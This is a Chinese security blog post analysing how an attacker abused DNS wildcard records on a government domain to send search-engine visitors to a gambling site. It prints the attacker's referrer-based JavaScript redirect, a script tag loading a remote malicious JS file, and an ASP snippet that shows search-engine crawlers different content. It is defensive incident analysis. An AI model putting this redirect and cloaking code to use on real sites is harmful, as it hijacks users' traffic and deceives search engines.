网络创立之初,大部分的访问都是通过IP地址来实现的,因web等协议与应用的兴起,有了域名,再通过IP去访问一方面不太容易记,另一方面因负载、CDN等方面的原因,单纯使用IP地址访问会带来一些问题。因此域名产生了,通过域名访问,中间设备只认识IP,因此最终还是解析到相应的IP地址去访问。这个用来解析的协议称作DNS,主要功能为将域名解析到相应的IP地址。

DNS的创造是网络大师的一大杰作,通过DNS广大网民可以通过域名来访问相应的网站。这样只需要记住域名就可以了,不需要记住繁琐的IP地址。如我们经常访问的www.vants.org,其DNS解析过程如下:

1.jpg

上图可以看到,DNS的解析非常轻巧,使用UDP 协议,一个DNS查询包,一个响应包,两个包搞定,简洁轻巧,效率高。但是在实际过程中经常会遇到一个问题:输入域名的时候如www.vants.org,一不小心多输入一个w变成wwww.vants.org,这样的话,可以正常解析吗?我做了一下实验,在浏览器输入wwww.vants.org,浏览器直接报错“无法访问此网站”

2.jpg

我们来看看DNS的解析流程,客户端进行了一次DNS查询,DNS服务器查询以后返回一个结果“NO such name A wwww.vants.org”,可以看到DNS服务器进行查询后,查找不到这样的结果。

3.jpg

为什么wwww.vants.org解析不到相应的IP?原因很简单,DNS没有相应的配置,但是在现实中,肯定经常存在用户输入错误域名前缀的情况,如果网站服务方考虑的足够人性化,完全可以配置一个DNS解析记录,配置一个默认解析结果。在DNS实现中,的确有这样一套机制,这个称作DNS泛解析。

既然有DNS泛解析这样一套机制,在实际生活中肯定会存在相应的应用。那么我们来亲测一下,首先拿google开刀,随机输入一个子域名看看能不能正常解析,解析不了;再测试一下度娘,也解析不了。

4.jpg

两大寡头都不支持泛解析,继续找下小站,公司渗透大牛很不屑的扔给我一批开了泛解析的域名,随便测试一个,可以解析到主站的IP上。

5.jpg

既然泛解析有这么人性化的应用,那么像google、度娘为什么不打开DNS泛解析?这肯定是考虑到安全与运维成本等方面。DNS泛解析还存在安全问题?的确存在!上图中的泛解析是解析到主站的IP,如果泛解析的IP被解析到其他的IP,或者是黑客IP呢?

有这种情况?的确,在实际工作中多次遇到这种情况。前天发现一政府的门户网站通过度娘搜索子域名时,搜索到301000个站点,通过搜索的结果直接点击进入,发现有很多子域名都跳转到博彩网站。

6.jpg7.jpg

通过ping测试,发现主站解析到61.191.*.*,而泛解析却被解析到23.105.65.113,这个IP是美国的IPDNS的泛解析结果肯定被黑客恶意修改了。

8.jpg

9.jpg

10.jpg

既然被DNS被泛解析到恶意的IP,并且有这么多解析记录,那么用户为什么一直没有发现这个问题?这令我百思不得其解。直到有一次在浏览器中输入一个随机子域名访问时,竟然跳转到正常主站页面上去了。既然可以根据用户的访问条件(通过搜索直接输入)在博彩与正常主站之间跳转,那么在23.105.65.113这个页面肯定存在一个判断的条件,触发这些条件时跳转到博彩网站,没有触发时跳转到正常页面。一般情况下,都是通过JS来做识别和跳转的,这样只要过滤相应的JS脚本即可,直接分析23.105.65.113页面源码,过滤<script src=  果然找到相应的JS脚本。

11.jpg

12.jpg

看一下这个js内容,判断条件很简单,http的包头referrer字段,只要referrer字段中有c或者n就跳转到win.an888.top,否则就跳转到www.*.gov.cn。这样的话就解释了直接打开随机子域名跳转到正常页面而通过百度搜索时跳转到博彩页面的疑问。如果通过直接访问随机子域名会跳转到主站页面,不容易被管理人员发现,但是通过搜索访问时会有referrer字段,只要字段中有c或者n就会跳转到博彩网站。

13.jpg

通过百度搜索访问时有referrer字段

14.jpg

直接访问无referrer字段

注:因截图时,相关网站的DNS泛解析已被关闭,所以截图测试的的是主站。但是原理是一样:通过搜索引擎搜索时都会带有referrer字段,直接访问时不会带有referrer字段。

另外,黑客为什么设置带有c或者n时作为判断跳转的条件,一般情况下都通过搜索查找相应子域名时,referrer都会带有.com或者.cn这样的字段,cn比较容易触发跳转条件。

黑产利用泛解析导致访问子域名为博彩网站的过程如下:

1. 首先黑客肯定要拿到用户域名的管理权限。有的用户的域名管理是放在运营商那边的,有的是自己来管理的。怎么拿到相应管理权限,爆破、社工、XSS、注入。。。。。不是本次分析的重点就不一一介绍

2. 在域名设置中,增加泛解析设置。设置为:RR,*.域名.com/cn……,A记录,解析结果为黑客IP:23.105.65.113

3. 23.105.65.113页面中加入JS脚本

<script src="http://www.xc969.com/js/ah.js"></script> 

4. 设置JS跳转判断条件,

var ref=document.referrer; if(ref.indexOf("c")>=0||ref.indexOf("n")>=0)
{location.href="http://win.an888.top/";} else{location.href="http://www.相关网站.gov.cn/";} 

5. 用户访问触发泛解析时,根据JS判断条件(referer中有c或者n)返回win.an888.top否则返回正常的网站页面。

那么通过百度搜索到这么多的页面是如何生成的?

图片15.png

一般都是黑客生成相应的子域名,然后通过流量较大的网站去链接,当搜索引擎爬虫去爬流量较大的网站时,就会爬到这些子域名。

下面看一段在实际中遇到的根据爬虫返回特定页面的案例:

<% 定义方法函数 function Getbot()
dim s_agent
GetBot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") if instr(1,s_agent,"googlebot",1) > 0 then GetBot="google" end if if instr(1,s_agent,"baiduspider",1) > 0 then GetBot="baidu" end if end function %>
<style type="text/css">
<!–
.STYLE1 {color: #FF0000} –>
</style>
</head>
<body>
<table width="751" height="512">
<tr>
<td height="132" bgcolor="#00CCFF"><div align="center">网页头文件(可以是导航栏、图片获其他内容)</div></td>
</tr>
<tr><td height="311">网页内容部分</td>
</tr>
<% if GetBot="baidu" or GetBot="google" then Response.Write "<a href=’http://bbs.acehat.com’>(友链一)黑帽</a><a 
href=’http://bbs.acehat.com’>(友链二)黑帽论坛</a>" elseResponse.Write"不做处理,或输出任意" end if %>

上面的代码意思为:如果发现访问网站的User_agent为baiduspider或者googlebot则为其返回的页面为http://bbs.acehat.com’>(友链一)黑帽http://bbs.acehat.com’>(友链二)黑帽论坛,不是百度和谷歌爬虫的话“不做处理,或输出任意”。

总结:初次碰到这种情况时,首先怀疑是的网站被黑,访问相关子域名时跳转到博彩网站,后来再仔细看了下,用户不可能注册这么多的子域名,后来才注意到DNS解析结果的变动。

可见,DNS泛解析是一把双刃剑,配置好的话可以提高用户体验,配置不好的话很容易被黑客利用。另外,经常遇到过运营商在DNS里做过手脚,当用户输入不存在的域名时都会跳转到他们设置好的游戏、搜索类网站。

* 原创作者:feiniao